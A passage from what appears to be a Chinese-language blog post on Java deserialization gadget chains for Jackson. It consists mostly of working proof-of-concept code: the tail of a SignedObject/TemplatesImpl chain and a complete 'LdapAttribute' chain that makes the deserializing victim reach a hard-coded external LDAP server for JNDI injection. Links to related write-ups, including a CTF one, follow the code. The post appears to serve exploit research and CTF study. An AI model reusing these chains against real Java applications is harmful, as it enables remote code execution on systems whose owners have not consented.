POJONode jsonNodes2 = new POJONode(templatesImpl);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,jsonNodes2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
//doPOST(exp.toString().getBytes());
//byte[] byt=new byte[fileInputStream.available()];
//fileInputStream.read(byt);
//doPOST(byt);
}

public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

LdapAttribute链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package org.example;

import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.ValueNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.management.JMX;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.naming.CompositeName;
import javax.sql.rowset.BaseRowSet;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URI;
import java.util.Base64;

/**
* Hello world!
*
*/
public class LdapAttributeChain
{
public static void main( String[] args ) throws Exception {
String ldapCtxUrl = "ldap://114.116.119.253:9999/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

这条链的分析参考:

https://stack.chaitin.com/techblog/detail/15

https://y4er.com/posts/real-wolrd-ctf-old-system-new-getter-jndi-gadget/

参考:
http://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/#0x03-%E5%A4%8D%E7%8E%B0%E5%88%A9%E7%94%A8https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/#TemplatesImpl%E9%93%BE

https://xz.aliyun.com/t/12966

https://xz.aliyun.com/t/12509?